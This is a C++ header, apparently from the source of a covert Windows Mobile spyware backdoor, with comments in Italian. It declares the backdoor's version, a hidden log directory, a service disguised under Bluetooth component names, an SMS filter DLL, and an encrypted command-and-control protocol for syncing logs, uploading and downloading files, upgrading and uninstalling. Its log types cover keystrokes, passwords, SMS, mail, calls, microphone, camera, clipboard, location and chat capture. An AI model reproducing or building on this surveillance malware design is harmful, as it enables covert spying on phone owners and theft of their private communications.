#ifndef __Common_h__
#define __Common_h__

#pragma comment(linker, "/nodefaultlib:libc.lib")
#pragma comment(linker, "/nodefaultlib:libcd.lib")

/***
#include <ceconfig.h>
#if defined(WIN32_PLATFORM_PSPC) || defined(WIN32_PLATFORM_WFSP)
#define SHELL_AYGSHELL
#endif
***/

#ifdef _CE_DCOM
#define _ATL_APARTMENT_THREADED
#endif

#include <Windows.h>
///#include <commctrl.h>

#ifdef SHELL_AYGSHELL
#include <aygshell.h>
#pragma comment(lib, "aygshell.lib") 
#endif // SHELL_AYGSHELL


// C RunTime Header Files
#include <stdlib.h>
#include <malloc.h>
#include <memory.h>
#include <tchar.h>

#if defined(WIN32_PLATFORM_PSPC) || defined(WIN32_PLATFORM_WFSP)
#ifndef _DEVICE_RESOLUTION_AWARE
#define _DEVICE_RESOLUTION_AWARE
#endif
#endif

#ifdef _DEVICE_RESOLUTION_AWARE
#include "DeviceResolutionAware.h"
#endif

#if _WIN32_WCE < 0x500 && ( defined(WIN32_PLATFORM_PSPC) || defined(WIN32_PLATFORM_WFSP) )
#pragma comment(lib, "ccrtrtti.lib")
#ifdef _X86_	
#if defined(_DEBUG)
#pragma comment(lib, "libcmtx86d.lib")
#else
#pragma comment(lib, "libcmtx86.lib")
#endif
#endif
#endif

///#include <altcecrt.h>
#include <list>
#include <map>
#include <vector>
#include <new>
//#include <Tlhelp32.h>
#include <common_new\projects.h>
#include <string>
#include <sstream>

using namespace std;

/**
 * Define per il demo-mode
 */
//#define _DEMO
//#define DEMO_MODE // Demo mode active, beeping and demo string sent to the server
#define LOG_TO_DEBUGGER

#ifdef _DEMO
extern wstring g_StrDemo;

#define ADDDEMOMESSAGE(x) AddDemoMessage(x)
#define DISPLAYDEMOMESSAGE(x) DisplayDemoMessage(x)

#else

#define ADDDEMOMESSAGE(x)
#define DISPLAYDEMOMESSAGE(x)

#endif

/**
* Define per il debugging
*/
#ifdef _DEBUG
///#define DBG_MSG(x) MessageBox(NULL, x, L"DBG_MSG", MB_OK | MB_TOPMOST);
#define DBG_MSG(x) OutputDebugString(x);
///#define DBG_MSG_2(x, y) MessageBox(NULL, x, y, MB_OK | MB_TOPMOST);
#define DBG_MSG_2(x, y) OutputDebugString(x);OutputDebugString(y);

#define DBG_ERROR_VAL(x, f) {WCHAR dbgbuf[60]; wprintf_s(dbgbuf, L"Error: 0x%08x on function %s", x, f); ///MessageBox(NULL, dbgbuf, L"Error", MB_OK | MB_TOPMOST);}
#define DBG_PRINT(x) OutputDebugString(x);
#define DBG_TRACE(msg, prior, err) DebugTrace(msg, prior, err)
#define DBG_TRACE_STR(msg1, msg2, prior, err) { wstring msg = msg1; msg += msg2; DebugTrace((PWCHAR)msg.c_str(), prior, err); }
#define DBG_TRACE_3(msg1, msg2, msg3, prior, err) { wstring msg = msg1; msg += msg2; msg += msg3; DebugTrace((PWCHAR)msg.c_str(), prior, err); }
#define DBG_TRACE_INT(msg, prior, err, val) DebugTraceInt(msg, prior, err, val)
#define DBG_TRACE_VERSION DebugTraceVersion()
#define DBG_ALERT 6 // 0 - no debug, 7 - max verbosity
#else
#define DBG_MSG(x)
#define DBG_MSG_2(x, y)
#define DBG_PRINT(x)
#define DBG_ERROR_VAL(x, f)
#define DBG_TRACE(msg, prior, err)
#define DBG_TRACE_STR(msg1, msg2, prior, err)
#define DBG_TRACE_3(msg1, msg2, msg3, prior, err)
#define DBG_TRACE_INT(msg, prior, err, val)
#define DBG_TRACE_VERSION
#define DBG_ALERT 0
#endif

#define __STR2__(x) #x
#define __STR1__(x) __STR2__(x)
#define __LOC__ __FILE__ "("__STR1__(__LINE__)") : #warning: "

/**
* Estensione per i file di log e nomi comuni
*/
#define LOG_EXTENSION L".mob"
#define MARKUP_EXTENSION L".qmm"
/*****
#define LOG_DIR L"\\$Win15Mobile\\"
#define LOG_DIR_NAME L"$Win15Mobile"
*****/
#define LOG_DIR L"\\Data\\Users\\DefApps\\AppData\\{11B69356-6C6D-475D-8655-D29B240D96C8}\\$Win15Mobile\\"
#define LOG_DIR_NAME L"$Win15Mobile"
/*****
#define LOG_DIR_PREFIX L"Q"			// Utilizzato per creare le Log Dir
#define LOG_DIR_FORMAT L"Q*"		// Utilizzato nella ricerca delle Log Dir
#define LOG_PER_DIRECTORY 500		// Numero massimo di log per ogni directory
*****/
#define LOG_DIR_PREFIX L"Q"			// Utilizzato per creare le Log Dir
#define LOG_DIR_FORMAT L"Q*"		// Utilizzato nella ricerca delle Log Dir
#define LOG_PER_DIRECTORY 500		// Numero massimo di log per ogni directory
#define MAX_LOG_NUM 25000			// Numero massimo di log che creeremo

#define SMS_DLL L"SmsFilter.dll"
#define SMS_DLL_PATH L"\\windows\\SmsFilter.dll"

#define MORNELLA_SERVICE L"bthclient"
#define MORNELLA_SERVICE_PATH L"services\\bthclient"
#define MORNELLA_SERVICE_DLL_A L"bthclient.dll"
#define MORNELLA_SERVICE_DLL_B L"bthobexclnt.dll"

/**
 * Lunghezza della chiave di cifratura utilizzata
 */
#define KEY_LEN 128

/**
 * Numero massimo di caratteri che grabbiamo dal titolo di una finestra
 */
#define MAX_TITLE_LEN 512

/**
 * Define per il recording della voce
 */
#define CHANNEL_INPUT 1

/**
* Define comuni
*/
#define BACKDOOR_VERSION (UINT)2014120801
#define PI (3.141592653589793)
#define MAX_ALLOCABLE_MEMORY 1024 * 1024 // 1 Mb (il define dovrebbe essere multiplo di 16)
#define LOG_DELIMITER 0xABADC0DE
#define FLASH 0 // Flash Memory
#define MMC1 1	// First MMC
#define MMC2 2	// Second MMC
#define LOG_URL_MARKER 0x20100713
///#define MAXINT 2147483647
///#define MAXUINT 4294967296

/**
 * Define per la sezione di upload/download dei file
 */
#define DOWNLOAD_CHUNK_SIZE 50 * 1024

/**
* Define per l'accesso concorrente
*/
#ifdef _DEBUG
#define WAIT_AND_SIGNAL(x)	if(_WaitForSingleObject(x, INFINITE) == WAIT_ABANDONED) OutputDebugString(L"ABANDONED"); ///MessageBox(NULL, L"ABANDONED", __FUNCTIONW__, MB_OK);
#define UNLOCK(x)			if(!_ReleaseMutex(x)){ WCHAR bulbasauro[400]; wprintf_s(bulbasauro, L"%s\n%s\n%s", __LINE__, __FUNCTIONW__, __FILEW__); OutputDebugString(L"Release Failed");} ///MessageBox(NULL, bulbasauro, L"Release Failed", MB_OK); }
#else
#define WAIT_AND_SIGNAL(x)	_WaitForSingleObject(x, INFINITE);
#define UNLOCK(x)			_ReleaseMutex(x);
#endif

#define SAFE_FREE(x) if (x) { free(x); x = NULL; }
#define SAFE_DELETE(x) if (x) { delete[](x); x = NULL; }
#define SPEEX_FREE	{ speex_encoder_destroy(state); speex_bits_destroy(&bits); }

#define SET_TIMESTAMP(x, y)    \
	ZeroMemory(&x, sizeof(x)); \
	(x).tm_year = (y).wYear;   \
	(x).tm_mon = (y).wMonth;   \
	(x).tm_mday = (y).wDay;    \
	(x).tm_hour = (y).wHour;   \
	(x).tm_min = (y).wMinute;  \
	(x).tm_sec = (y).wSecond;

/**
* Stato dell'agente
*/
#define MODULE_DISABLED	(UINT)0x1
#define MODULE_ENABLED	(UINT)0x2
#define MODULE_RUNNING	(UINT)0x3
#define MODULE_STOPPED	(UINT)0x4

/**
* Stato dei monitor
*/
#define EVENT_STOPPED	MODULE_STOPPED
#define EVENT_RUNNING	MODULE_RUNNING

/**
* Comandi per i monitor
*/
#define EVENT_STOP	EVENT_STOPPED

/**
* Comandi per l'agente
*/
#define AGENT_STOP	MODULE_STOPPED
#define AGENT_RELOAD	(UINT)0x1

/**
* Comandi generici
*/
#define NO_COMMAND 0

/**
 * Definizioni utilizzate dagli agenti nella scrittura dei log
 */
#define GPS_VERSION		(UINT)2008121901
#define CELL_VERSION	(UINT)2008121901

#define TYPE_GPS	(UINT)0x1
#define TYPE_CELL	(UINT)0x2

#define LOG_AUDIO_CODEC_SPEEX	(UINT)0x0;
#define LOG_AUDIO_CODEC_AMR		(UINT)0x1;

#define MIC_SAMPLE_RATE 8000L

/**
* Parametri del protocollo (i comandi validi iniziano da 1 in poi)
*/
#define INVALID_COMMAND		(UINT)0x0	// Non usare
#define PROTO_OK			(UINT)0x1	/// OK
#define PROTO_NO			(UINT)0x2	/// Comando fallito o non e' stato possibile eseguirlo
#define PROTO_BYE			(UINT)0x3	/// Chiusura di connessione
#define PROTO_CHALLENGE		(UINT)0x4	// CHALLENGE,16 byte da cifrare
#define PROTO_RESPONSE		(UINT)0x5	// RESPONSE,16 byte cifrati
#define PROTO_SYNC			(UINT)0x6	// Mandami i log
#define PROTO_NEW_CONF		(UINT)0x7	/// NEW_CONF,# prendi la nuova conf lunga # bytes
#define PROTO_LOG_NUM		(UINT)0x8	// LOG_NUM,# stanno per arrivare # logs
#define PROTO_LOG			(UINT)0x9	/// LOG,# questo log e' lungo # bytes
#define PROTO_UNINSTALL		(UINT)0xa	/// Uninstallati
//#define PROTO_RESUME		(UINT)0xb	// RESUME,nome,# rimandami il log "nome" a partire dal byte #
#define PROTO_EVIDENCE_SIZE (UINT)0xb
#define PROTO_DOWNLOAD		(UINT)0xb	/// DOWNLOAD,nome: mandami il file "nome" (in WCHAR, NULL terminato)
#define PROTO_UPLOAD		(UINT)0xd	/// UPLOAD,nome,directory,#: uppa il file "nome" lungo # in "directory"
#define PROTO_FILE			(UINT)0xe	// #, Sta per arrivare un file lungo # bytes
#define PROTO_ID			(UINT)0xf	/// Id univoco della backdoor, embeddato in fase di configurazione
#define PROTO_INSTANCE		(UINT)0x10	/// Id univoco che identifica il dispositivo dove gira la backdoor
#define PROTO_USERID		(UINT)0x11	// IMSI,# byte NON paddati del blocco (il blocco inviato e' paddato)
#define PROTO_DEVICEID		(UINT)0x12	// IMEI,# byte NON paddati del blocco (il blocco inviato e' paddato)
#define PROTO_SOURCEID		(UINT)0x13	// #telefono,# byte NON paddati del blocco (il blocco inviato e' paddato)
#define PROTO_VERSION		(UINT)0x14	// #,bytes versione della backdoor (10 byte)
#define PROTO_LOG_END		(UINT)0x15  // La spedizione dei log e' terminata
#define PROTO_UPGRADE		(UINT)0x16	/// Tag per l'aggiornamento del core
#define PROTO_ENDFILE		(UINT)0x17  // Tag che indica la terminazione della fase di download dei file
#define PROTO_SUBTYPE		(UINT)0x18	// #,bytes che indicano la subversion "WINMOBILE"
#define PROTO_FILESYSTEM	(UINT)0x19	/// DWORD profondita', DWORD lunghezza del path, WCHAR path

/**
 * Tipi di log (quelli SOLO per mobile DEVONO partire da 0xAA00
 */
#define LOGTYPE_FILEOPEN	0x0000
#define LOGTYPE_FILECAPTURE 0x0001	// in realta' e' 0x0000 e si distingue tra LOG e LOGF
#define LOG_MAGIC_CALLTYPE  0x0026
#define LOGTYPE_KEYLOG		0x0040
#define LOGTYPE_PRINT		0x0100
#define LOGTYPE_CALL		0x0140
#define LOGTYPE_CALL_SKYPE  0x0141
#define LOGTYPE_CALL_GTALK  0x0142
#define LOGTYPE_CALL_YMSG   0x0143
#define LOGTYPE_CALL_MSN    0x0144
#define LOGTYPE_CALL_MOBILE 0x0145
#define LOGTYPE_URL			0x0180
#define LOGTYPE_ADDRESSBOOK	0x0200
#define LOGTYPE_CALENDAR	0x0201
#define LOGTYPE_TASK		0x0202
#define LOGTYPE_MAIL		0x0210
#define LOGTYPE_SMS			0x0211
#define LOGTYPE_MMS			0x0212
#define LOGTYPE_LOCATION	0x0220
#define LOGTYPE_CALLLIST	0x0230
#define LOGTYPE_DEVICE		0x0240
#define LOGTYPE_INFO		0x0241
#define LOGTYPE_SKYPEIM		0x0300
#define LOGTYPE_MAIL_RAW	0x1001
#define LOGTYPE_APPLICATION	0x1011
#define LOGTYPE_LOCATION_NEW	0x1220
	// Sub-types del nuovo Location Log
	#define LOGTYPE_LOCATION_GPS	0x0001
	#define LOGTYPE_LOCATION_GSM	0x0002
	#define LOGTYPE_LOCATION_WIFI	0x0003
	#define LOGTYPE_LOCATION_IP		0x0004
	#define LOGTYPE_LOCATION_CDMA	0x0005

#define LOGTYPE_SNAPSHOT	0xB9B9
#define LOGTYPE_MIC			0xC2C2
#define LOGTYPE_CHAT		0xC6C6
#define LOGTYPE_DOWNLOAD	0xD0D0
#define LOGTYPE_UPLOAD		0xD1D1
#define LOGTYPE_CLIPBOARD	0xD9D9
#define LOGTYPE_CAMSHOT		0xE9E9
#define LOGTYPE_FILESYSTEM	0xEDA1 // Filesystem log
#define LOGTYPE_PASSWORD	0xFAFA
#define LOGTYPE_UNKNOWN		0xFFFF	// in caso di errore

/**
 * Parametri di ritorno della Send()
 */
#define SEND_OK			(UINT)0x1
#define SEND_RELOAD		(UINT)0x2
#define SEND_UNINSTALL	(UINT)0x3
#define SEND_FAIL		(UINT)0x4
#define SEND_STOP		(UINT)0x5

/**
 * Parametri per la coda IPC
 */
#define IPC_PROCESS		(UINT)0x1
#define IPC_HIDE		(UINT)0x2

/**
 * Parametri di configurazione per il Crisis Agent
 */
#define CRISIS_NONE		(UINT)0x0
#define CRISIS_POSITION	(UINT)0x1
#define CRISIS_CAMERA	(UINT)0x2
#define CRISIS_MIC		(UINT)0x4
#define CRISIS_CALL		(UINT)0x8
#define CRISIS_SYNC		(UINT)0x10
#define CRISIS_ALL		(UINT)0xffffffff

typedef struct _ConfStruct {
	UINT uConfId;		// Id dell'opzione
	UINT uParamLength;	// Lunghezza della memoria allocata per pParams
	PVOID pParams;		// Puntatore alla lista dei parametri
} ConfStruct, *pConfStruct;

/**
* Definizione delle principali strutture comuni
*/
// WARNING - Non cambiare l'ordine dei primi 4 parametri della struttura
// altrimenti sara' necessario riscrivere il codice di parsing della configurazione.
typedef struct _AgentStruct {
	wstring wAgentId;
	UINT uAgentId;		// Id dell'agente
	UINT uAgentStatus;	// Running, Stopped
	UINT uParamLength;	// Lunghezza della memoria allocata per pParams
	PVOID pParams;		// Puntatore alla lista dei parametri
	PVOID pFunc;		// Thread start routine
	UINT uCommand;		// Viene utilizzato per comunicare all'agente
} AgentStruct, *pAgentStruct;

// WARNING - Non cambiare l'ordine dei primi 4 parametri della struttura
// altrimenti sara' necessario riscrivere il codice di parsing della configurazione.
typedef struct _EventStruct {
	UINT uEventType;	// Tipo di evento (Timer, sms, call etc...)
	UINT uActionId;		// Id dell'azione da eseguire 
	UINT uParamLength;	// Lunghezza della memoria allocata per pParams
	PVOID pParams;		// Puntatore alla lista dei parametri
	PVOID pFunc;		// Monitor start routine
	UINT uEventStatus;	// Running, Stopped
	UINT uCommand;		// Viene utilizzato per comunicare col monitor
} EventStruct, *pEventStruct;

// WARNING - Non cambiare l'ordine dei primi 3 parametri della struttura
// altrimenti sara' necessario riscrivere il codice di parsing della configurazione.
typedef struct _ActionStruct {
	UINT uActionType;	// Tag che identifica l'azione
	UINT uParamLength;	// Lunghezza del buffer allocato per pParams
	PVOID pParams;		// Puntatore alla lista dei parametri
} ActionStruct, *pActionStruct;

typedef struct _MacroActionStruct {
	UINT uSubActions;		// Numero di strutture ActionStruct presenti
	pActionStruct pActions; // Puntatore ad un array di ActionStruct
	BOOL bTriggered;		// L'azione e' stata triggerata da un evento
} MacroActionStruct, *pMacroActionStruct;

typedef struct _TimerStruct {
	UINT uType;
	UINT Lo_Delay;
	UINT Hi_Delay;
	UINT uEndAction;
} TimerStruct, *pTimerStruct;

typedef struct _EventConf {
	UINT uNum;		// Numero di eventi
	PVOID pParams;	// Parametri (Lunghezza, ID azione, Parametri / Lunghezza, ID azione, Parametri......)
} EventConf, *pEventConf;

#pragma pack(4)
typedef struct _IpcMsg {
	UINT dwSender;		// ID del mittente	
	UINT dwRecipient;	// ID dell'evento/agente di destinazione
	UINT dwForwarded;	// Viene incrementato di 1 dopo ogni forward
	UINT dwMsgLen;		// Lunghezza del messaggio (NON deve superare i: 4Kb - sizeof(IpcMsg)
	BYTE Msg[1];		// Il messaggio vero e proprio
	BYTE bReserved[3];	// Per il packing
} IpcMsg, *pIpcMsg;
#pragma pack()

/**
* Subito dopo la struttura scriviamo il nome del file in WCHAR, la struttura addizionale
* se necessaria e poi i dati di seguito. Non cambiare MAI l'ordine dei primi 2 membri!
* LOG_VERSION di questa struttura: 0.1
*/
// La PRIMA dword e' in chiaro e indica: sizeof(LogStruct) + uDeviceIdLen + uUserIdLen + uSourceIdLen + uAdditionalData
// ed e' paddata a 16 byte poiche' l'header e' cifrato. Tramite questa dword si puo' sapere da dove parte il
// primo byte di dati effettivi.
typedef struct _LogStruct {
#define LOG_VERSION_01 (UINT)2008121901
	UINT uVersion;			// Versione della struttura
	UINT uLogType;			// Tipo di log
	UINT uHTimestamp;		// Parte alta del timestamp
	UINT uLTimestamp;		// Parte bassa del timestamp
	UINT uDeviceIdLen;		// IMEI/Hostname len
	UINT uUserIdLen;		// IMSI/Username len
	UINT uSourceIdLen;		// Numero del caller/IP len
	UINT uAdditionalData;	// Lunghezza della struttura addizionale, se presente
} LogStruct, *pLogStruct;

typedef struct _SnapshotAdditionalData {
	UINT uVersion;
#define LOG_SNAPSHOT_VERSION (UINT)2009031201
	UINT uProcessNameLen;
	UINT uWindowNameLen;
} SnapshotAdditionalData, *pSnapshotAdditionalData;

typedef struct _UrldditionalData {
	UINT uVersion;
#define LOG_URL_VERSION 2009032301
	UINT uBrowserType;
	UINT uUrlLen;
	UINT uWindowLen;
} UrlAdditionalData, *pUrlAdditionalData;

typedef struct _LocationAdditionalData {
	UINT uVersion;
#define LOG_LOCATION_VERSION (UINT)2010082401
	UINT uType;
	UINT uStructNum;
} LocationAdditionalData, *pLocationAdditionalData;

/**
 * Struttura dell'additional header per i file della download queue
 */
typedef struct _LogDownload {
	UINT uVersion;
#define LOG_FILE_VERSION (UINT)2008122901
	UINT uFileNameLen;
} LogDownload, *pLogDownload;

/**
 * Struttura utilizzata per il sorting dei log
 */
typedef struct _LogInfo {
	wstring strLog;
	ULARGE_INTEGER date;
} LogInfo, *pLogInfo;

/**
 * Struttura utilizzata dalla UberLog per la rappresentazione del directory tree
 */
typedef struct _LogTree {
	wstring strDirName; // Directory Name
	UINT uHash;			// Filename hash
	UINT uOnMmc;		// 0 - No, 1 - First MMC, 2 - Second MMC
	UINT uLogs;			// Number of logs
} LogTree;

/**
 * Struttura utilizzata dalla superclass UberLog
 */
typedef struct _UberStruct {
	wstring strLogName;
	UINT uLogType;
	FILETIME ft;
	UINT uOnMmc; // 0 - No, 1 - First MMC, 2 - Second MMC
	BOOL bInUse;
} UberStruct, *pUberStruct;

/**
 * Struttura che definisce gli APN
 */
typedef struct _ApnStruct {
	UINT uMCC;        // Mobile Country Code
	UINT uMNC;        // Mobile Network Code
	UINT uApnLen;     // Lunghezza in BYTE del nome dell'APN incluso il NULL
	WCHAR *wApn;        // APN in WCHAR NULL-terminato
	UINT uApnUserLen; // Lunghezza in BYTE dell'username incluso il NULL
	WCHAR *wApnUser;    // APN Username in WCHAR NULL-terminato
	UINT uApnPassLen; // Lunghezza in byte della password incluso il NULL
	WCHAR *wApnPass;    // APN Password in WCHAR NULL-terminata
} ApnStruct, *pApnStruct;

/**
 * Struttura per la definizione degli AP in vista
 */
typedef struct _WiFiData {
	UCHAR MacAddress[6];	// BSSID
	UINT uSsidLen;			// SSID length
	UCHAR Ssid[32];			// SSID
	INT iRssi;				// Received signal strength in dBm
} WiFiData, *pWiFiData;

/**
* Qui definiamo tutti gli extern delle variabili globali necessarie
* al funzionamento della backdoor. Le definizioni si trovano in Common.cpp
*/
extern DWORD		g_Version;
extern BYTE			g_Subtype[];
extern BYTE			g_AesKey[];
extern BYTE			g_ConfKey[];
extern BYTE			g_InstanceId[];
extern BYTE			g_BackdoorID[];
extern BYTE			g_Challenge[];
extern BYTE			g_DemoMode[];
extern WCHAR		g_ConfName[];
extern wstring		g_strOurName;
extern HANDLE		g_hSmsQueueRead, g_hSmsQueueWrite;

// HINSTANCE del modulo
static HINSTANCE g_hInstance;

/**
* Definizione delle funzioni helper comuni
*/
#define LOOP for(;;)
#define HEX(c)  ((c) <= '9' ? (c) - '0' : (c) <= 'F' ? (c) - 'A' + 0xA : (c) - 'a' + 0xA)
#define ASCII(c) ((c) <= 9 ? (c) + '0' : (c) + 'A' - 0xA)

// Define per la funzione di hash delle stringhe
#define FNV1_32_INIT 0x811c9dc5
#define FNV1_32_PRIME 0x01000193

wstring GetCurrentPath(const PWCHAR pInFile);
wstring GetCurrentPathStr(const wstring &strInFile);
wstring GetFirstMMCPath(const PWCHAR pInFile);
wstring GetSecondMMCPath(const PWCHAR pInFile);
HANDLE GetProcessHandle(const PWCHAR wProcessName);
BOOL GetProcessName(DWORD dwId, wstring &strProcName);
UINT WideLen(const PWCHAR p);
unsigned __int64 GetTime();
unsigned __int64 DiffTime(unsigned __int64 new_time, unsigned __int64 old_time);
UINT GetUsedPhysMemory();
void AddDemoMessage(const PWCHAR pwMessage);
void DisplayDemoMessage(const PWCHAR pwMessage = NULL);
void DebugTrace(const PWCHAR pwMsg, UINT uPriority, BOOL bLastError);
void DebugTraceVersion();
void DebugTraceInt(const PWCHAR pwMsg, UINT uPriority, BOOL bLastError, INT iVal);
UINT FnvHash(BYTE *pBuf, UINT uLen);
void SetLedStatus(int wLed, int wStatus);
void BlinkLeds();
void TurnOffLeds();
#endif


#define BATTERY_PERCENTAGE_UNKNOWN      0xFF